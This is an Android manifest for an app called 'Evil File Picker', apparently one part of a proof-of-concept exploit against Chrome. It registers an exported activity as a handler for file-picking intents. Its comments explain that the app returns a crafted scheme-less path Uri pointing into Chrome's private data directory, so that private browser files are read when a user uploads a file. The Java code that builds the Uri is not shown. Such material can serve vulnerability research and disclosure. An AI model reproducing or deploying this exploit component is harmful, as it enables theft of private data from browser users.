<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.evilfilepicker">

    <!-- No special permissions needed. Only an intent-filter. -->

    <application
        android:label="Evil File Picker"
        android:allowBackup="false">

        <!--
          Registers as a handler for ACTION_GET_CONTENT / OPEN_DOCUMENT so that
          when the user taps an <input type="file"> in Chrome, this app appears
          in the Android system chooser. Selecting it returns a crafted Intent
          whose ClipData contains a *scheme-less* absolute-path Uri pointing
          inside Chrome's private data directory.
        -->
        <activity
            android:name=".PickerActivity"
            android:exported="true"
            android:label="Evil File Picker">

            <intent-filter>
                <action android:name="android.intent.action.GET_CONTENT" />
                <category android:name="android.intent.category.DEFAULT" />
                <category android:name="android.intent.category.OPENABLE" />
                <data android:mimeType="*/*" />
            </intent-filter>

            <intent-filter>
                <action android:name="android.intent.action.OPEN_DOCUMENT" />
                <category android:name="android.intent.category.DEFAULT" />
                <category android:name="android.intent.category.OPENABLE" />
                <data android:mimeType="*/*" />
            </intent-filter>

        </activity>
    </application>
</manifest>
